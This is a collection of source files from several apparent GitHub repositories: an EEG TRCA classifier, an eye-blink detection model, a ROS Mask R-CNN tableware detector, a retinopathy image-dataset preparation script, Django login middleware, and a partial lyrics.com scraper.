signal.filtfilt(b, a, data, axis= -1) # return data_filterbank # def Cov(self,X,Y): # X = X.reshape(-1, 1) # Y = Y.reshape(-1, 1) # # print(X.shape, Y.shape) # X_hat = np.mean(X) # Y_hat = np.mean(Y) # X = X - X_hat # Y = Y - Y_hat # ret = np.dot(X.T ,Y) # ret /= (X.shape[0]) # return ret # def fit(self): # S = np.zeros((self.Nm, self.Nf, self.Nc, self.Nc)) # Q = np.zeros((self.Nm, self.Nf, self.Nc, self.Nc)) # # S # for m in range(self.Nm): # for n in range(self.Nf): # idxs = [] # stimulus n 的索引 # for i in range(self.traindata.shape[0]): # if self.trainlabel[i, 0] == n: # idxs.append(i) # for j1 in range(self.Nc): # for j2 in range(self.Nc): # for h1 in idxs: # for h2 in idxs: # if h1 != h2: # S[m, n, j1, j2] += self.Cov(self.traindata[h1, m, j1, :], self.traindata[h2, m, j2, :]) # # print(S[m,n]) # 检查 S是对称的,没有问题 # # Q # for m in range(self.Nm): # for n in range(self.Nf): # idxs = [] # stimulus n 的索引 # for i in range(self.traindata.shape[0]): # if self.trainlabel[i, 0] == n: # idxs.append(i) # for h in idxs: # for j1 in range(self.Nc): # for j2 in range(self.Nc): # Q[m, n, j1, j2] += self.Cov(self.traindata[h, m, j1, :], self.traindata[h, m, j2, :]) # Q[m, n] /= len(idxs) # # print(Q[m, n]) # 发现bug det(Q) = 0 ... 我日 # for m in range(self.Nm): # for n in range(self.Nf): # e_vals, e_vecs = np.linalg.eig(np.linalg.inv(Q[m, n]).dot(S[m, n])) # max_e_vals_idx = np.argmax(e_vals) # self.W[m, n, :, 0] = e_vecs[:, max_e_vals_idx] # # calculate hat # for m in range(self.Nm): # for n in range(self.Nf): # idxs = [] # stimulus n 的索引 # for i in range(self.traindata.shape[0]): # if self.trainlabel[i, 0] == n: # idxs.append(i) # for h in idxs: # self.X_hat[m,n] += self.traindata[h, m] # (8, 125) # self.X_hat[m, n] /= len(idxs) # tot = 0 # tot_correct = 0 # for i in range(self.testdata.shape[0]): # pre_lb , lb = self.inference(self.testdata[i]),self.testlabel[i,0] # if pre_lb == lb: # tot_correct += 1 # tot += 1 # print(tot_correct / tot) # tot = 0 # tot_correct = 0 # for i in range(self.traindata.shape[0]): # pre_lb , lb = self.inference(self.traindata[i]),self.trainlabel[i,0] # if pre_lb == lb: # tot_correct += 1 # tot += 1 # print(tot_correct / tot) # def inference(self, X): # (Nm ,Nc, data_length) # r = np.zeros((self.Nm, self.Nf)) # for m in range(self.Nm): # for n in range(self.Nf): # r[m, n] = self.pearson_corr_1D(X[m].T.dot(self.W[m, n]), self.X_hat[m, n].T.dot(self.W[m, n])) # Pn = np.zeros(self.Nf) # for n in range(self.Nf): # for m in range(self.Nm): # Pn[n] += ((m+1) ** (-1.25) + 0.25 ) * (r[m, n] ** 2) # pre_label = np.argmax(Pn) # return pre_label # def pearson_corr_1D(self, a, b): # a = a.reshape(-1) # b = b.reshape(-1) # ret = self.Cov(a,b) / (np.std(a) * np.std(b)) # return ret # def pearson_corr_2D(self, a, b): # """ # todo # 2维皮尔逊相关系数 # 两个变量之间的皮尔逊相关系数定义为两个变量之间的协方差和标准差的商 # """ # return 0.5 # def __del__(self): # pass # if __name__ == '__main__': # parser = argparse.ArgumentParser() # parser.add_argument("--epochs", type=int, default=100, help="number of epochs") # parser.add_argument("--dataroot", type=str, default=os.path.join(".", "datasets"), help="the folder of data") # parser.add_argument("--filter_order", type=int, default=8, help="order of filter") # parser.add_argument("--Nm", type=int, default = 7, help="number of bank") # parser.add_argument("--data_length", type=float, default=0.5, help="task time points") # parser.add_argument("--Nf", type=int, default=8, help="number of stimulus") # opt = parser.parse_args() # print(opt) # trca = TRCA(opt) # trca.load_data(opt.dataroot) # trca.fit() # print("done!") ```
{ "source": "jinglingzhua/blinkblink", "score": 2 }
#### File: blinkblink/blink/forward.py ```python import torch from utils.normalize import mmdet_normalize from utils.utils import * import numpy as np curdir = os.path.dirname(os.path.abspath(__file__)) class Forward: CROP_SZ = 72 INP_SZ = 64 NORM_CFG = dict(mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) def __init__(self, script_path=opj(curdir, 'model.script'), device='cpu'): self.model = torch.jit.load(open(script_path, 'rb'), map_location=device) self.model.eval() self.device = device def eyeopen_score(self, bgr, left_eye, right_eye): left_crop, right_crop = self._crop(bgr, left_eye, right_eye) return (self(left_crop) + self(right_crop)) / 2 @staticmethod def _crop(bgr, left_eye, right_eye): left_eye = np.asarray(left_eye) right_eye = np.asarray(right_eye) dist = np.sqrt(np.sum(np.square(left_eye-right_eye))) sz = max(1, int(dist*0.3 + 0.5)) def _crop_one(bgr, xy, sz): l, t = xy[0] - sz, xy[1] - sz r, b = xy[0] + sz, xy[1] + sz return safe_crop(bgr, l, t, r, b) return _crop_one(bgr, left_eye, sz), _crop_one(bgr, right_eye, sz) def __call__(self, bgr): img = cv2.resize(bgr, (self.CROP_SZ, self.CROP_SZ)) start = (self.CROP_SZ-self.INP_SZ)//2 img = img[start:start+self.INP_SZ, start:start+self.INP_SZ] I = mmdet_normalize(img, **self.NORM_CFG) I = np.moveaxis(I, 2, 0) I = torch.from_numpy(I).to(self.device) with torch.no_grad(): out = self.model(I[None])[0] return out.cpu().numpy()[1] if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('src') args = parser.parse_args() predictor = Forward() bgr = cv2.imread(args.src) print(predictor(bgr)) ``` #### File: blink/modeling/dataset.py ```python import mmcv from torch.utils.data import Dataset from MyUtils.my_utils import * import cv2 from mmdet.datasets import DATASETS from mmdet.datasets.pipelines import Compose import json @DATASETS.register_module() class BlinkDataset(Dataset): CLASSES = None def __init__(self, datadir, pipeline, stage='train', repeat=1): self.images = get_spec_files(datadir, ext=IMG_EXT, oswalk=True) if stage == 'train': self.images = self.images * repeat self.pipeline = Compose(pipeline) self.flag = np.zeros(len(self), 'u1') self.stage = stage def __len__(self): return len(self.images) def __getitem__(self, index): results = dict() img = self.images[index] Img = cv2.imread(img, 1) results['img_info'] = {'file_name': self.images[index], 'filename': self.images[index], 'height': Img.shape[0], 'width': Img.shape[1]} _, fname = os.path.split(img) results['img'] = Img results['gt_labels'] = int(fname.split('_')[4]) return self.pipeline(results) ``` #### File: blink/modeling/head.py ```python from mmdet.models import HEADS import torch from torch import nn from mmcv.cnn import normal_init, constant_init from task.common.base import StableSoftmax from task.common.modeling import * @HEADS.register_module() class BlinkHead(nn.Module): def __init__(self, in_channels, train_cfg, test_cfg, actModule='relu', dense_layers=[128], nclass=2): super(BlinkHead, self).__init__() if actModule.lower() == 'relu': actModule = nn.ReLU elif actModule.lower() == 'mish': actModule = Mish else: raise Exception('actModule {} is unknown'.format(actModule)) layers = [nn.AdaptiveAvgPool2d(1), nn.Flatten()] for dl in dense_layers: layers.append(nn.Linear(in_channels, dl, bias=False)) layers.append(nn.BatchNorm1d(dl)) layers.append(actModule()) in_channels = dl layers.append(nn.Linear(in_channels, nclass)) self.layers = nn.Sequential(*layers) self.softmax = StableSoftmax(dim=1) def init_weights(self): for m in self.layers: if isinstance(m, nn.Linear): normal_init(m, std=0.01) if isinstance(m, nn.BatchNorm1d): constant_init(m, 1) def forward_train(self, x, img_metas, *args): x = self.layers(x[-1]) y = torch.cat([x['gt_labels'].data for x in img_metas]) y = y.to(x.device) loss = nn.functional.cross_entropy(x, y) return {'loss': loss} def simple_test_rpn(self, x, img_metas): x = self.layers(x[-1]) return self.softmax(x) ``` #### File: blinkblink/facetracker/export_script.py ```python import torch import numpy as np from mmcv.runner import load_checkpoint from task.common.fuse_conv_bn import fuse_module from MyUtils.my_utils import * from mmcv import Config from modeling import * from mmdet.models import build_detector def export(config_file, ckpt_file, dst): cfg = Config.fromfile(config_file) model = build_detector( cfg.model, train_cfg=cfg.train_cfg, test_cfg=cfg.test_cfg) model.eval() model.test_mode = True x = model.with_bbox checkpoint = load_checkpoint(model, ckpt_file, map_location='cpu') model = fuse_module(model) # old versions did not save class info in checkpoints, this walkaround is # for backward compatibility if 'CLASSES' in checkpoint['meta']: model.CLASSES = checkpoint['meta']['CLASSES'] else: model.CLASSES = dataset.CLASSES I = np.float32(np.random.rand(cfg.inp_hw[0],cfg.inp_hw[1],3)) inp = torch.from_numpy(np.moveaxis(I,2,0))[None] inp = inp.to(next(model.parameters()).device) traced_script_module = torch.jit.trace(model, inp, check_trace=False) with torch.no_grad(): out_1 = traced_script_module(inp) out_2 = model(inp) for x, y in zip(out_1, out_2): assert np.ma.allclose(x.cpu().numpy(), y.cpu().numpy(), rtol=1e-3) traced_script_module.save(dst) print('export script done') if __name__ == '__main__': from MyUtils.my_utils import opj model_dir = '/home/zmf/nfs/workspace/blink/model/facetracker_1010' export(opj(model_dir, 'base.py'), opj(model_dir, 'latest.pth'), opj(model_dir, 'model.script')) ``` #### File: blinkblink/utils/geometry.py ```python import numpy as np def point_dist(a, b): return np.sqrt(np.sum(np.square(a-b))) def point_center(a, b): return (a+b)/2 def face_sz(l_eye, r_eye, mouse): return point_dist(mouse, point_center(l_eye, r_eye)) def face_bbox(l_eye, r_eye, mouse): sz = face_sz(l_eye, r_eye, mouse) center = point_center(mouse, point_center(l_eye, r_eye)) left = center[0] - sz right = center[0] + sz top = center[1] - sz bottom = center[1] + sz return [int(x+0.5) for x in [left, top, right, bottom]] ``` #### File: blinkblink/utils/landmark.py ```python import numpy as np class Base: def __init__(self): self.left_eye = None self.right_eye = None self.nose = None self.left_mouse = None self.right_mouse = None self.center_mouse = None class Landmark4(Base): def __init__(self, lm4): super().__init__() self.left_eye, self.right_eye, self.nose, self.center_mouse = lm4 @property def pts(self): return np.array([self.left_eye, self.right_eye, self.nose, self.center_mouse]) class Landmark5(Base): def __init__(self, lm5): super().__init__() self.left_eye, self.right_eye, self.nose, self.left_mouse, self.right_mouse = lm5 self.center_mouse = (self.left_mouse + self.right_mouse) / 2 def to_lm4(self): return Landmark4(np.array([self.left_eye, self.right_eye, self.nose, self.center_mouse])) @property def pts(self): return np.array([self.left_eye, self.right_eye, self.nose, self.left_mouse, self.right_mouse]) ```
{ "source": "jinglinjackychen/detectron2", "score": 2 }
#### File: rcnn_pkg/src/rcnn_detection_pc.py ```python import numpy as np import cv2 import roslib import rospy import struct import math import time from std_msgs.msg import Float32MultiArray, MultiArrayLayout, Float32MultiArray, MultiArrayDimension, String from std_msgs.msg import Header from sensor_msgs import point_cloud2 from sensor_msgs.msg import Image, PointCloud2, PointField from std_srvs.srv import * # from rcnn_pkg.srv import get_mask, get_maskResponse # import ros_numpy from rcnn_pkg.srv import graymask from sensor_msgs.msg import CameraInfo, CompressedImage from geometry_msgs.msg import PoseArray, PoseStamped from visualization_msgs.msg import Marker, MarkerArray import rospkg from cv_bridge import CvBridge, CvBridgeError import torch import torch.nn as nn import torch.backends.cudnn as cudnn from torch.autograd import Variable import os import message_filters import detectron2 from detectron2.utils.logger import setup_logger # import some common detectron2 utilities from detectron2.engine import DefaultPredictor from detectron2.config import get_cfg from detectron2.utils.visualizer import Visualizer from detectron2.data import MetadataCatalog, DatasetCatalog from detectron2.engine import DefaultTrainer from detectron2 import model_zoo from detectron2.data.datasets import register_coco_instances flag_do_prediction = True class rcnn_detection(object): def __init__(self): r = rospkg.RosPack() self.path = r.get_path('rcnn_pkg') self.cv_bridge = CvBridge() #### Publisher self.image_pub = rospy.Publisher("~predict_img", Image, queue_size = 1) self.predict_mask_pub = rospy.Publisher("prediction_mask", Image, queue_size = 1) self.predict_mask_jet_pub = rospy.Publisher("/prediction_mask_jet", Image, queue_size = 1) self.predict_pc_pub = rospy.Publisher("/prediction_pc", PointCloud2, queue_size=1) self.obj_id = rospy.Publisher("~predict_obj_id", String, queue_size = 1) #### Service self.service = rospy.Service('id_prediction_mask', graymask, self.id_prediction_mask) # rospy.Service("id_prediction_mask", prediction_mask, self.c) # rospy.Service('get_maskcloud', get_mask, self.get_maskcloud) ################ �o�̥����n��tableware dataset #################### # register_coco_instances('delta_val', {}, # '/home/arg/detectron2/datasets/class_5_val/annotations.json', # '/home/arg/detectron2/datasets/class_5_val') # self.subt_metadata = MetadataCatalog.get("delta_val") # self.dataset_dicts = DatasetCatalog.get("delta_val") ################ �i��令���U�o�� �A�̦ۦ�d�N�@�U���| #################### register_coco_instances('tableware', {}, '/home/dualarm/detectron2/datasets/tableware/annotations.json', '/home/dualarm/detectron2/datasets/tableware') self.subt_metadata = MetadataCatalog.get("tableware") self.dataset_dicts = DatasetCatalog.get("tableware") self.cfg = get_cfg() self.cfg.merge_from_file(model_zoo.get_config_file("COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml")) self.cfg.MODEL.WEIGHTS = model_zoo.get_checkpoint_url("COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml") # Let training initialize from model zoo ################ �o�̥����n��NUM_CLASSES �]�tbackground �ҥH�|�O3 class + 1 #################### self.cfg.MODEL.ROI_HEADS.NUM_CLASSES = 14 # datasets classes self.cfg.DATALOADER.NUM_WORKERS = 0 #Single thread ################ �o�̥����n�� WEIGHTS #################### # self.cfg.MODEL.WEIGHTS = os.path.join(self.path, "weights", "model_0096989.pth") self.cfg.MODEL.WEIGHTS = os.path.join(self.path, "weights", "model_0028999.pth") self.cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.7 # set the testing threshold for this model self.predictor = DefaultPredictor(self.cfg) ### msg filter # image_sub = message_filters.Subscriber('/ex_side_camera/color/image_raw', Image) # depth_sub = message_filters.Subscriber('/ex_side_camera/aligned_depth_to_color/image_raw', Image) self.target_id = -1 image_sub = message_filters.Subscriber('/camera/color/image_raw', Image) depth_sub = message_filters.Subscriber('/camera/aligned_depth_to_color/image_raw', Image) ts = message_filters.TimeSynchronizer([image_sub, depth_sub], 10) ts.registerCallback(self.callback) rospy.Service('maskrcnn_prediction', SetBool, self.prediction_handler) # rospy.Service('get_maskcloud', get_mask, self.get_maskcloud) def prediction_handler(self, req): global flag_do_prediction print ("%s"%req.data) if req.data == False: flag_do_prediction = False return [True, "Stop prediction"] if req.data == True: flag_do_prediction = True return [True, "Start prediction"] def id_prediction_mask(self, req): print(req.obj_id) try: if "wine_glass" == req.obj_id: self.target_id=13 print("wine_glass") elif "water_glass" == req.obj_id: self.target_id=12 print("water_glass") elif "teacup" == req.obj_id: self.target_id=11 print("teacup") elif "small_spoon" == req.obj_id: self.target_id=10 print("small_spoon") elif "small_plates" == req.obj_id: self.target_id=9 print("small_plates") elif "small_fork" == req.obj_id: self.target_id=8 print("small_fork") elif "packet_cup'" == req.obj_id: self.target_id=7 print("packet_cup'") elif "mug" == req.obj_id: self.target_id=6 print("mug") elif "knife" == req.obj_id: self.target_id=5 print("knife") elif "bowl" == req.obj_id: self.target_id=4 print("bowl") elif "big_spoon" == req.obj_id: self.target_id=3 print("big_spoon") elif "big_plates" == req.obj_id: self.target_id=2 print("big_plates") elif "big_fork" == req.obj_id: self.target_id=1 print("big_fork") # if "spoon" == req.obj_id: # self.target_id=3 # print("spoon") # elif "knife" == req.obj_id: # self.target_id=2 # print("knife") # elif "fork" == req.obj_id: # self.target_id=1 # print("fork") except: print("fail") # res.result = "Fail" # return "Fail" # area_one = np.asarray(pred_one)*10 # gray_img = np.uint8(area) # gray_img_one = np.uint8(area_one) # backtorgb = cv2.applyColorMap(gray_img, cv2.COLORMAP_JET) # cv_rgbmask = self.cv_bridge.cv2_to_imgmsg(backtorgb) # self.predict_mask_jet_pub.publish(cv_rgbmask) # # gray3_img = cv2.cvtColor(gray_img,cv2.COLOR_GRAY2RGB) # # cv_graymask = self.cv_bridge.cv2_to_imgmsg(gray_img) # cv_graymask = self.cv_bridge.cv2_to_imgmsg(gray_img_one) # res.obj_mask = cv_graymask # cv2.imwrite("mask.png", gray_img_one) return True def callback(self, img_msg, depth): if flag_do_prediction == True : try: cv_image = self.cv_bridge.imgmsg_to_cv2(img_msg, "bgr8") except CvBridgeError as e: print(e) outputs = self.predictor(cv_image) v = Visualizer(cv_image[:, :, ::-1], metadata=self.subt_metadata, scale=0.8, # instance_mode=ColorMode.IMAGE_BW # remove the colors of unsegmented pixels ) v = v.draw_instance_predictions(outputs["instances"].to("cpu")) self.image_pub.publish(self.cv_bridge.cv2_to_imgmsg(v.get_image()[:, :, ::-1], "bgr8")) print("Detected 1 frame !!!") pred_classes = outputs["instances"].pred_classes.cpu().numpy() pred_masks = outputs["instances"].pred_masks.cpu().numpy().astype(float) pred = pred_masks.copy() pred_all = np.zeros([480, 640], np.float) pred_one = np.zeros([480, 640], np.float) #################################### �̭��I������ ���A�n��predict mask �M��output point cloud############################################ # # pred_classes: 1: fork, 2: knife, 3: spoon, 4: waterproof, 5: gear for i in range(len(pred_classes)): pred[i] = pred_classes[i]*pred_masks[i] pred_all += pred[i] area = np.asarray(pred_all)*10 print(type(pred_classes)) if (13 == self.target_id) and (13 in pred_classes): print("wine_glass") j, = np.where(np.isclose(pred_classes, 3)) self.obj_id.publish("12") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (12 == self.target_id) and (12 in pred_classes): print("water_glass") j, = np.where(np.isclose(pred_classes, 12)) self.obj_id.publish("11") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (11 == self.target_id) and (11 in pred_classes): print("teacup") j, = np.where(np.isclose(pred_classes, 11)) self.obj_id.publish("10") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (10 == self.target_id) and (10 in pred_classes): print("small_spoon") j, = np.where(np.isclose(pred_classes, 10)) self.obj_id.publish("9") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (9 == self.target_id) and (9 in pred_classes): print("small_plates") j, = np.where(np.isclose(pred_classes, 9)) self.obj_id.publish("8") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (8 == self.target_id) and (8 in pred_classes): print("small_fork") j, = np.where(np.isclose(pred_classes, 8)) self.obj_id.publish("7") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (7 == self.target_id) and (7 in pred_classes): print("packet_cup'") j, = np.where(np.isclose(pred_classes, 7)) self.obj_id.publish("6") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (6 == self.target_id) and (6 in pred_classes): print("mug") j, = np.where(np.isclose(pred_classes, 6)) self.obj_id.publish("5") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (5 == self.target_id) and (5 in pred_classes): print("knife") j, = np.where(np.isclose(pred_classes, 5)) self.obj_id.publish("4") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (4 == self.target_id) and (4 in pred_classes): print("bowl") j, = np.where(np.isclose(pred_classes, 4)) self.obj_id.publish("3") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif (3 == self.target_id) and (3 in pred_classes): print("big_spoon") j, = np.where(np.isclose(pred_classes, 3)) self.obj_id.publish("2") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif 2 == self.target_id and (2 in pred_classes): print("big_plates") j, = np.where(np.isclose(pred_classes, 2)) self.obj_id.publish("1") pred_one = pred_classes[j[0]]*pred_masks[j[0]] elif 1 == self.target_id and (1 in pred_classes): print("big_fork") j, = np.where(np.isclose(pred_classes, 1)) self.obj_id.publish("0") pred_one = pred_classes[j[0]]*pred_masks[j[0]] else: print("nothing") return # # if 5 in pred_classes: # # j, = np.where(np.isclose(pred_classes, 5)) # # self.obj_id.publish("4") # # pred_one = pred_classes[j[0]]*pred_masks[j[0]] # # elif 4 in pred_classes: # # j, = np.where(np.isclose(pred_classes, 4)) # # self.obj_id.publish("3") # # pred_one = pred_classes[j[0]]*pred_masks[j[0]] # if (3 == self.target_id) and (3 in pred_classes): # print("spoon") # j, = np.where(np.isclose(pred_classes, 3)) # self.obj_id.publish("2") # pred_one = pred_classes[j[0]]*pred_masks[j[0]] # elif 2 == self.target_id and (2 in pred_classes): # print("knife") # j, = np.where(np.isclose(pred_classes, 2)) # self.obj_id.publish("1") # pred_one = pred_classes[j[0]]*pred_masks[j[0]] # elif 1 == self.target_id and (1 in pred_classes): # print("fork") # j, = np.where(np.isclose(pred_classes, 1)) # self.obj_id.publish("0") # pred_one = pred_classes[j[0]]*pred_masks[j[0]] # else: # print("nothing") # return False area_one = np.asarray(pred_one)*10 gray_img = np.uint8(area) gray_img_one = np.uint8(area_one) backtorgb = cv2.applyColorMap(gray_img, cv2.COLORMAP_JET) cv_rgbmask = self.cv_bridge.cv2_to_imgmsg(backtorgb) self.predict_mask_jet_pub.publish(cv_rgbmask) # gray3_img = cv2.cvtColor(gray_img,cv2.COLOR_GRAY2RGB) # cv_graymask = self.cv_bridge.cv2_to_imgmsg(gray_img) cv_graymask = self.cv_bridge.cv2_to_imgmsg(gray_img_one) self.predict_mask_pub.publish(cv_graymask) # print(type(gray_img_one)) cv2.imwrite("mask.png", gray_img_one) # self.get_maskcloud(cv_image, gray_img, depth) # def get_maskcloud(self, rgb_img, gray_img, depth_msg): # depth = self.cv_bridge.imgmsg_to_cv2(depth_msg) # # res = get_maskResponse() # points = [] # # rgb_image = self.cv_bridge.imgmsg_to_cv2(global_rgb_data, "bgr8") # # depth = self.cv_bridge.imgmsg_to_cv2(global_depth_data) # # mask = prediction_save(rgb_image) # cx = 312.89288330078125 #323.6322 # cy = 245.52340698242188 #240.377166 # fx = 474.853271484375 #607.2167 # fy = 474.8533020019531 #607.34753 # for v in range(rgb_img.shape[1]): # for u in range(rgb_img.shape[0]): # color = rgb_img[u,v].astype('float32') # Z = depth[u,v] / 1000.0 # if Z==0: continue # X = (v - cx) * Z / fx # Y = (u - cy) * Z / fy # if(gray_img[u,v] != 0): # points.append([X,Y,Z,color[0],color[1],color[2]]) # points = np.array(points) # fields = [PointField('x', 0, PointField.FLOAT32, 1), \ # PointField('y', 4, PointField.FLOAT32, 1), \ # PointField('z', 8, PointField.FLOAT32, 1), \ # PointField('r', 12, PointField.FLOAT32, 1),\ # PointField('g', 16, PointField.FLOAT32, 1),\ # PointField('b', 20, PointField.FLOAT32, 1),\ # ] # header = Header() # header.frame_id = "camera_link" # pc2 = point_cloud2.create_cloud(header, fields, points) # pc2.header.stamp = rospy.Time.now() # self.predict_pc_pub.publish(pc2) def onShutdown(self): rospy.loginfo("Shutdown.") if __name__ == '__main__': rospy.init_node('rcnn_detection',anonymous=False) rcnn_detection = rcnn_detection() rospy.on_shutdown(rcnn_detection.onShutdown) rospy.spin() # thing_classes=['_background_', 'big_fork', 'big_plates', 'big_spoon', 'bowl', 'knife', 'mug', 'packet_cup', 'small_fork', 'small_plates', 'small_spoon', 'teacup', 'water_glass', 'wine_glass'], # thing_dataset_id_to_contiguous_id={0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 7, 8: 8, 9: 9, 10: 10, 11: 11, 12: 12, 13: 13}) ```
{ "source": "JingLinkai/tiger", "score": 2 }
#### File: tiger/common/middleware.py ```python from django.utils.deprecation import MiddlewareMixin from common import errors from lib.http import render_json from user.models import User class AutoMiddleware(MiddlewareMixin): white_list = [ '/api/user/vcode', '/api/user/login', ] def process_request(self, request): # 检查当前 path 是否在白名单内 if request.path in self.white_list: return # 用户登录验证 uid = request.session.get('uid') if uid is None: raise errors.LoginRequire try: user = User.objects.get(id=uid) except User.DoesNotExist: raise errors.UserNotExist else: # 将 user 对象添加到 request request.user = user class LogicErrorMiddleware(MiddlewareMixin): def process_exception(self, request, exception): if isinstance(exception, errors.LogicError): # 处理逻辑错误 return render_json(None, exception.code) ```
{ "source": "JinglinLi/dr-cloud", "score": 3 }
#### File: dr-cloud/data_wrangling/wrangling.py ```python import pandas as pd import config def generate_quality_df(): """ generate dataframe for training and evaluating image quality model : only deepdr dataset (use original train for train-valid spilit, use original valid as test --> so that can evaluate with test) save : ./output/q_traindf.csv and ./output/q_testdf.csv """ # read csv containing labels corresponding to the images train_csv= f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-training/regular-fundus-training.csv' test_csv = f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-validation/regular-fundus-validation.csv' print(config.PATH_DISK) print(config.PATH_VM) print(train_csv) train = pd.read_csv(train_csv) test = pd.read_csv(test_csv) # generate dataframe with image path and overall quality lable traindf = pd.DataFrame() testdf = pd.DataFrame() traindf['im_path'] = train['image_path'].apply(lambda x : x.replace('\\', '/')).apply(lambda x : f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-training/Images'+x[24:]) # mac testdf['im_path'] = test['image_path'].apply(lambda x : x.replace('\\', '/')).apply(lambda x : f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-validation/Images'+x[26:]) # mac traindf['im_quality'] = train['Overall quality'].astype('str') testdf['im_quality'] = test['Overall quality'].astype('str') # save output traindf.to_csv(f'{config.PATH_VM}/data/output/q_traindf.csv') testdf.to_csv(f'{config.PATH_VM}/data/output/q_testdf.csv') #print(f'quality : total {traindf.shape[0] + testdf.shape[0]}, train {traindf.shape[0]}, test {testdf.shape[0]}') print('quality : total {}, train {}, test {}'.format(traindf.shape[0] + testdf.shape[0], traindf.shape[0], testdf.shape[0])) def generate_diagnosis_df_deepdr(): """ prepare dataframe for training diagnosis model : using deepdr data Note : this dataframe from deepdr dataset will be merged with the one from kaggle dataset, in kaggle dataset train and valid images were not separated, therefore here also merge train and valid, after mering with kaggle dataset train and valid will be splitted in model training part. """ # read csv containing labels corresponding to the images train_csv= f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-training/regular-fundus-training.csv' valid_csv = f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-validation/regular-fundus-validation.csv' train = pd.read_csv(train_csv) valid = pd.read_csv(valid_csv) # generate dataframe with image path and overall quality lable traindf = pd.DataFrame() validdf = pd.DataFrame() traindf['im_path'] = train['image_path'].apply(lambda x : x.replace('\\', '/')).apply(lambda x : f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-training/Images'+x[24:]) # mac validdf['im_path'] = valid['image_path'].apply(lambda x : x.replace('\\', '/')).apply(lambda x : f'{config.PATH_DISK}/data/deepdr/regular_fundus_images/regular-fundus-validation/Images'+x[26:]) # mac traindf['diagnosis'] = train['patient_DR_Level'].astype('str') validdf['diagnosis'] = valid['patient_DR_Level'].astype('str') return pd.concat([traindf, validdf]) def generate_diagnosis_df_kaggle(): """ prepare dataframe for training diagnosis model : using kaggle data""" # read csv containing labels corresponding to the images train_csv= f'{config.PATH_DISK}/data/kaggle/train.csv' test_csv = f'{config.PATH_DISK}/data/kaggle/test.csv' train = pd.read_csv(train_csv) test = pd.read_csv(test_csv) # only id no lable # generate dataframe with image path and overall quality lable traindf = pd.DataFrame() testdf = pd.DataFrame() traindf['im_path'] = train['id_code'].apply(lambda x : f'{config.PATH_DISK}/data/kaggle/train_images/'+x+'.png') testdf['im_path'] = test['id_code'].apply(lambda x : f'{config.PATH_DISK}/data/kaggle/test_images/'+x+'.png') traindf['diagnosis'] = train['diagnosis'].astype('str') testdf['diagnosis'] = '' # save kaggle diagnosis testdf testdf.to_csv(f'{config.PATH_VM}/data/output/d_testdf_kaggle.csv') return traindf def generate_diagnosis_df(): """ combine diagnosis df from deepdr and kaggle Note : 1) concat deepdr, kaggle df 2) train test split (shuffle) """ deepdrdf = generate_diagnosis_df_deepdr() kaggledf = generate_diagnosis_df_kaggle() mergedf = pd.concat([deepdrdf, kaggledf]).sample(frac=1).reset_index(drop=True) # shuffle n = round(mergedf.shape[0] * 0.75) traindf = mergedf.iloc[:n] testdf = mergedf.iloc[n:] #print(f'diagnosis : total {mergedf.shape[0]}, train {traindf.shape[0]}, test {testdf.shape[0]}') print('diagnosis : total {}, train {}, test {}'.format(mergedf.shape[0], traindf.shape[0], testdf.shape[0])) traindf.to_csv(f'{config.PATH_VM}/data/output/d_traindf.csv') testdf.to_csv(f'{config.PATH_VM}/data/output/d_testdf.csv') if __name__ == "__main__": generate_quality_df() # generate and save dataframes for quality check generate_diagnosis_df() # merge and save dataframes for diagnosis from deepdr and kabble dataset ```
{ "source": "JinglinLi/lyric_based_artist_predictor", "score": 3 }
#### File: lyric_based_artist_predictor/project/artist_lyric_scraper.py ```python import requests from tqdm import tqdm import time import numpy as np from bs4 import BeautifulSoup import os import glob from fuzzywuzzy import fuzz # procedure : # - Go to the page listing all songs of your favourite artist on lyrics.com. # - Copy the URL # - Use the requests module to download that page # - Examine the HTML code and look for links to songs # - Extract all links using Regular Expressions or BeautifulSoup # - Use the requests module to download song page (with not redundent song names) containing lyrics # - Save in artist folder text files, one songe page per text file # function : get song urls def get_song_urls(artist, artist_url): ''' input : artist str, artist_url str return : song_urls list ''' request_artist_url = requests.get(artist_url) prefix = 'https://www.lyrics.com' lyric_soup = BeautifulSoup(request_artist_url.text, 'html.parser') song_urls = [] for album in lyric_soup.find('div', class_="tdata-ext").find_all('tbody'): song_urls += [prefix + x['href'] for x in album.find_all('a')] return song_urls # function : get song urls drop redundent ones with exact song name match def get_song_urls_dr(artist, artist_url): ''' input : artist str, artist_url str return : song_urls list ''' request_artist_url = requests.get(artist_url) prefix = 'https://www.lyrics.com' lyric_soup = BeautifulSoup(request_artist_url.text, 'html.parser') song_urls = [] song_titles = [] for album in lyric_soup.find('div', class_="tdata-ext").find_all('tbody'): # append url if not duplicate song for i_title in np.arange(len(album.find_all('a'))): title = album.find_all('a')[i_title].text if title not in song_titles: song_titles += [title] song_urls += [prefix + x['href'] for x in album.find_all('a')] return song_urls # function : get song urls drop redundent ones with fuzzywuzzy 90% match def get_song_urls_drf(artist, artist_url): ''' input : artist str, artist_url str return : song_urls list ''' request_artist_url = requests.get(artist_url) prefix = 'https://www.lyrics.com' lyric_soup = BeautifulSoup(request_artist_url.text, 'html.parser') song_urls = [] 